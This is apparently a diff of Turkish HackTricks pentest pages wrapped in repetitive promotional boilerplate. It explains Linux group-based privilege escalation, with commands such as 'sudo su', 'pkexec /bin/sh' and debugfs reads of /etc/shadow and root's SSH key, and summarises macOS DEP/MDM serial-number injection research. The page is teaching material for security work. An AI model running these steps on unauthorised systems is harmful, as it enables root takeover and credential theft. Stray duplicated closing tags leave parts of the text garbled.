Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Sudo/Yönetici Grupları
# Sudo/Admin Grupları
## **PE - Yöntem 1**
**Bazen**, **varsayılan olarak \(veya bazı yazılımların ihtiyaç duyması nedeniyle\)** **/etc/sudoers** dosyasında aşağıdaki satırlardan bazılarını bulabilirsiniz:
**Bazen**, **varsayılan olarak \(ya da bazı yazılımlar bunu gerektirdiği için\)** **/etc/sudoers** dosyası içinde bu satırlardan bazılarını bulabilirsiniz:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -25,9 +26,9 @@ HackTricks'ı desteklemenin diğer yolları:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir**.
Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
Eğer durum buysa, **root olmak için sadece şunu çalıştırabilirsiniz**:
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
```text
sudo su
```
@ -37,24 +38,23 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad
```bash
find / -perm -4000 2>/dev/null
```
Eğer pkexec ikili bir SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu tespit ederseniz, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz.
Aşağıdaki içeriği kontrol edin:
Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Aşağıda, **pkexec**'i **çalıştırma izni olan grupları** ve bazı linux sistemlerinde **varsayılan olarak** **sudo veya admin** gruplarından bazılarının bulunabileceği belirtilmiştir.
Orada hangi grupların **pkexec** çalıştırmasına izin verildiğini ve bazı Linux sistemlerinde **varsayılan olarak** **sudo veya admin** gibi grupların **görünebileceğini** bulacaksınız.
**Root olmak için şunları çalıştırabilirsiniz**:
**root olmak için şunu çalıştırabilirsiniz**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve aşağıdaki **hata** ile karşılaşırsanız:
Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve bu **hata** ile karşılaşırsanız:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**İzinlerinizin olmaması değil, GUI olmadan bağlantı kurmamanızdır**. Ve bu sorun için bir çözüm yolu burada bulunmaktadır: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumu**'na ihtiyacınız vardır:
**İzinleriniz olmadığı için değil, GUI olmadan bağlı olmadığınız için**. Bu sorun için bir çözüm burada: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumuna** ihtiyacınız var:
{% code title="session1" %}
```bash
@ -62,7 +62,9 @@ echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% code title="oturum2" %}
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
@ -71,13 +73,13 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
# Wheel Grubu
**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyasının içinde bu satırı bulabilirsiniz:
**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyası içinde bu satırı bulabilirsiniz:
```text
%wheel ALL=(ALL:ALL) ALL
```
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir**.
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
Eğer durum buysa, **root olmak için sadece şunu çalıştırabilirsiniz**:
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
```text
sudo su
```
@ -87,11 +89,13 @@ sudo su
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
# Disk Grubu
So, read the file and try to **crack some hashes**.
Bu ayrıcalık, makinenin içindeki tüm verilere erişebileceğiniz için neredeyse kök erişimiyle eşdeğerdir.
# Disk Group
Dosyalar: `/dev/sd[a-z][1-9]`
Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
Dosyalar:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -99,47 +103,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Not: debugfs kullanarak ayrıca **dosya yazabilirsiniz**. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz:
Not edin ki debugfs kullanarak **dosya yazabilirsiniz**. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Ancak, `/etc/shadow` veya `/etc/passwd` gibi **root'a ait olan dosyalara yazmaya** çalışırsanız, "**İzin reddedildi**" hatası alırsınız.
Ancak, eğer **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \(örneğin `/etc/shadow` veya `/etc/passwd`\) "**İzin reddedildi**" hatası alırsınız.
# Video Grubu
`w` komutunu kullanarak **sisteme kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
`w` komutunu kullanarak **sistemde kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**, kullanıcının makinedeki bir terminalde fiziksel olarak oturum açtığı anlamına gelir.
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** gösterir.
**video grubu**, ekran çıktısını görüntüleme yetkisine sahiptir. Temel olarak ekranları gözlemleyebilirsiniz. Bunun için, ekranın mevcut görüntüsünü ham veri olarak yakalamanız ve ekranın kullandığı çözünürlüğü elde etmeniz gerekmektedir. Ekran verileri `/dev/fb0`'a kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size` üzerinde bulabilirsiniz.
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
**Raw görüntüyü** açmak için **GIMP** kullanabilirsiniz, **`screen.raw`** dosyasını seçin ve dosya türü olarak **Ham görüntü verisi**ni seçin:
**Ham görüntüyü** açmak için **GIMP** kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz:
![](../../.gitbook/assets/image%20%28208%29.png)
Daha sonra genişlik ve yüksekliği ekranda kullanılan değerlere değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi gösteren birini seçin\):
Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\):
![](../../.gitbook/assets/image%20%28295%29.png)
# Root Grubu
Varsayılan olarak, **root grubunun üyeleri** bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya **diğer ilginç şeyleri** değiştirebilme yetkisine sahip olabilir...
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
**Root grubunun üyelerinin değiştirebileceği dosyaları kontrol edin**:
**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Grubu
Bir örneğin birimine ana makinenin kök dosya sistemini bağlayabilirsiniz, böylece örnek başladığında bu birime bir `chroot` yüklenir. Bu size etkili bir şekilde makinede kök erişimi sağlar.
Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -147,20 +151,19 @@ Bir örneğin birimine ana makinenin kök dosya sistemini bağlayabilirsiniz, b
# lxc/lxd Grubu
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
[lxc - Yetki Yükseltme](lxd-privilege-escalation.md)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,66 +1,70 @@
# Diğer Organizasyonlara Cihaz Kaydetme
# Diğer Kuruluşlarda Cihaz Kaydı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Giriş
[**Daha önce belirtildiği gibi**](./#what-is-mdm-mobile-device-management)**,** bir cihazı bir organizasyona kaydetmek için **yalnızca o Organizasyona ait bir Seri Numarası gereklidir**. Cihaz kaydedildikten sonra, birçok organizasyon yeni cihaza hassas veriler yükleyecektir: sertifikalar, uygulamalar, WiFi şifreleri, VPN yapılandırmaları [ve benzeri](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Bu nedenle, kayıt süreci doğru şekilde korunmadığında saldırganlar için tehlikeli bir giriş noktası olabilir.
[**daha önce belirtildiği gibi**](./#what-is-mdm-mobile-device-management)**,** bir cihazı bir kuruluşa kaydetmek için **sadece o Kuruluşa ait bir Seri Numarası gereklidir**. Cihaz kaydedildikten sonra, birçok kuruluş yeni cihaza hassas veriler yükleyecektir: sertifikalar, uygulamalar, WiFi şifreleri, VPN yapılandırmaları [ve benzeri](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Bu nedenle, kayıt süreci doğru bir şekilde korunmazsa, bu saldırganlar için tehlikeli bir giriş noktası olabilir.
**Aşağıdaki, araştırmanın özeti [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Teknik ayrıntılar için kontrol edin!**
**Aşağıda, araştırmanın bir özeti bulunmaktadır [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Daha fazla teknik detay için kontrol edin!**
## DEP ve MDM İkili Analizine Genel Bakış
## DEP ve MDM İkili Analizi Genel Görünümü
Bu araştırma, macOS'ta Cihaz Kayıt Programı (DEP) ve Mobil Cihaz Yönetimi (MDM) ile ilişkili ikili dosyalara derinlemesine iner. Ana bileşenler şunları içerir:
Bu araştırma, macOS'taki Cihaz Kaydı Programı (DEP) ve Mobil Cihaz Yönetimi (MDM) ile ilişkili ikililere dalmaktadır. Ana bileşenler şunlardır:
- **`mdmclient`**: macOS 10.13.4 öncesi sürümlerde MDM sunucularıyla iletişim kurar ve DEP kontrol noktalarını tetikler.
- **`mdmclient`**: MDM sunucularıyla iletişim kurar ve macOS 10.13.4 öncesi sürümlerde DEP kontrol noktalarını tetikler.
- **`profiles`**: Yapılandırma Profillerini yönetir ve macOS 10.13.4 ve sonraki sürümlerde DEP kontrol noktalarını tetikler.
- **`cloudconfigurationd`**: DEP API iletişimlerini yönetir ve Cihaz Kayıt profillerini alır.
- **`cloudconfigurationd`**: DEP API iletişimlerini yönetir ve Cihaz Kaydı profillerini alır.
DEP kontrol noktaları, Aktivasyon Kaydını almak için özel Yapılandırma Profilleri çerçevesinden `CPFetchActivationRecord` ve `CPGetActivationRecord` işlevlerini kullanır ve `CPFetchActivationRecord`, XPC aracılığıyla `cloudconfigurationd` ile koordine olur.
DEP kontrol noktaları, Aktivasyon Kaydını almak için özel Yapılandırma Profilleri çerçevesinden `CPFetchActivationRecord` ve `CPGetActivationRecord` işlevlerini kullanır; `CPFetchActivationRecord`, `cloudconfigurationd` ile XPC üzerinden koordine eder.
## Tesla Protokolü ve Absinthe Şemasının Tersine Mühendisliği
## Tesla Protokolü ve Absinthe Şeması Ters Mühendislik
DEP kontrol noktası, `cloudconfigurationd`nin şifrelenmiş, imzalı bir JSON yükünü _iprofiles.apple.com/macProfile_ adresine göndermesini içerir. Yük, cihazın seri numarasını ve "RequestProfileConfiguration" eylemini içerir. Kullanılan şifreleme şeması, içeriden "Absinthe" olarak adlandırılır. Bu şemanın çözülmesi karmaşıktır ve birçok adım içerir, bu da Aktivasyon Kaydı isteğinde keyfi seri numaraları eklemek için alternatif yöntemleri keşfetmeye yol açmıştır.
DEP kontrol noktası, `cloudconfigurationd`'nin _iprofiles.apple.com/macProfile_ adresine şifreli, imzalı bir JSON yükü göndermesini içerir. Yük, cihazın seri numarasını ve "RequestProfileConfiguration" eylemini içerir. Kullanılan şifreleme şeması dahili olarak "Absinthe" olarak adlandırılmaktadır. Bu şemanın çözülmesi karmaşıktır ve birçok adım içerir; bu da Aktivasyon Kaydı isteğine keyfi seri numaraları eklemek için alternatif yöntemlerin araştırılmasına yol açmıştır.
## DEP İsteklerinin Proxy Edilmesi
## DEP İsteklerini Proxyleme
Charles Proxy gibi araçlar kullanılarak _iprofiles.apple.com_ adresine yönelik DEP isteklerinin yakalanması ve değiştirilmesi girişimleri, yük şifrelemesi ve SSL/TLS güvenlik önlemleri nedeniyle engellenmiştir. Bununla birlikte, `MCCloudConfigAcceptAnyHTTPSCertificate` yapılandırmasının etkinleştirilmesi, sunucu sertifikası doğrulamasını atlamayı sağlar, ancak yükün şifreli olması seri numarasının şifre çözme anahtarı olmadan değiştirilmesini engeller.
_iprofiles.apple.com_ adresine yapılan DEP isteklerini kesmek ve değiştirmek için Charles Proxy gibi araçlar kullanma girişimleri, yük şifrelemesi ve SSL/TLS güvenlik önlemleri nedeniyle engellendi. Ancak, `MCCloudConfigAcceptAnyHTTPSCertificate` yapılandırmasını etkinleştirmek, sunucu sertifika doğrulamasını atlamaya olanak tanır; ancak yükün şifreli doğası, şifre çözme anahtarı olmadan seri numarasının değiştirilmesini engeller.
## DEP ile Etkileşim Halindeki Sistem İkili Dosyalarının Enstrümantasyonu
## DEP ile Etkileşime Geçen Sistem İkili Dosyalarını Araçlandırma
`cloudconfigurationd` gibi sistem ikili dosyalarının enstrümantasyonu, macOS'ta Sistem Bütünlük Koruması'nın (SIP) devre dışı bırakılmasını gerektirir. SIP devre dışı bırakıldığında, LLDB gibi araçlar sistem süreçlerine bağlanmak ve DEP API etkileşimlerinde kullanılan seri numarasını potansiyel olarak değiştirmek için kullanılabilir. Bu yöntem, yetkilendirmelerin ve kod imzalamanın karmaşıklıklarını önlediği için tercih edilir.
`cloudconfigurationd` gibi sistem ikili dosyalarını araçlandırmak, macOS'ta Sistem Bütünlüğü Koruması (SIP) devre dışı bırakılmasını gerektirir. SIP devre dışı bırakıldığında, LLDB gibi araçlar sistem süreçlerine bağlanmak ve DEP API etkileşimlerinde kullanılan seri numarasını potansiyel olarak değiştirmek için kullanılabilir. Bu yöntem, yetkilendirme ve kod imzalama karmaşıklıklarından kaçındığı için tercih edilmektedir.
**İkili Enstrümantasyonun Sömürülmesi:**
`cloudconfigurationd`de JSON serileştirmeden önce DEP isteği yükünün değiştirilmesi etkili oldu. Süreç şunları içeriyordu:
**İkili Araçlandırmayı Sömürme:**
`cloudconfigurationd`'de JSON serileştirmeden önce DEP istek yükünü değiştirmek etkili oldu. Süreç şunları içeriyordu:
1. LLDB'yi `cloudconfigurationd`ye bağlamak.
1. LLDB'yi `cloudconfigurationd`'ye bağlamak.
2. Sistem seri numarasının alındığı noktayı bulmak.
3. Yük şifrelenip gönderilmeden önce belleğe keyfi bir seri numarası enjekte etmek.
3. Yük şifrelenmeden ve gönderilmeden önce belleğe keyfi bir seri numarası enjekte etmek.
Bu yöntem, keyfi seri numaraları için tam DEP profillerinin alınmasına olanak sağladı ve potansiyel bir güvenlik açığı gösterdi.
Bu yöntem, keyfi seri numaraları için tam DEP profillerinin alınmasını sağladı ve potansiyel bir zafiyeti gösterdi.
### Python ile Enstrümantasyonun Otomatikleştirilmesi
### Python ile Araçlandırmayı Otomatikleştirme
Sömürü süreci, LLDB API'si kullanılarak Python ile otomatikleştirildi, bu da keyfi seri numaraları programatik olarak enjekte etmeyi ve ilgili DEP profillerini almayı mümkün kıldı.
Sömürü süreci, keyfi seri numaralarını programatik olarak enjekte etmek ve karşılık gelen DEP profillerini almak için Python ile LLDB API kullanılarak otomatikleştirildi.
### DEP ve MDM Güvenlik Açıklarının Potansiyel Etkileri
### DEP ve MDM Zafiyetlerinin Potansiyel Etkileri
Araştırma, önemli güvenlik endişelerini vurguladı:
1. **Bilgi Sızdırma**: DEP kayıtlı bir seri numarası sağlayarak, DEP profili içinde bulunan hassas kurumsal bilgiler alınabilir.
2. **Sahte DEP Kaydı**: Doğru kimlik doğrulama olmadan, DEP kayıtlı bir seri numarasına sahip bir saldırgan, kuruluşun MDM sunucusuna sahte bir cihaz kaydedebilir ve hassas verilere ve ağ kaynaklarına erişim elde edebilir.
Sonuç olarak, DEP ve MDM, kurumsal ortamlarda Apple cihazlarını yönetmek için güçlü araçlar sağlasa da, güvenli ve izlenmesi gereken potansiyel saldırı vektörleri de sunar.
1. **Bilgi Sızdırma**: DEP'e kayıtlı bir seri numarası sağlayarak, DEP profilinde bulunan hassas kurumsal bilgilere erişim sağlanabilir.

View file

@ -1,34 +1,45 @@
# macOS Seri Numarası
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Temel Bilgiler
Apple cihazları 2010'dan sonra **12 alfasayısal karakterden** oluşan seri numaralarına sahiptir. Her bir segment belirli bilgileri iletmektedir:
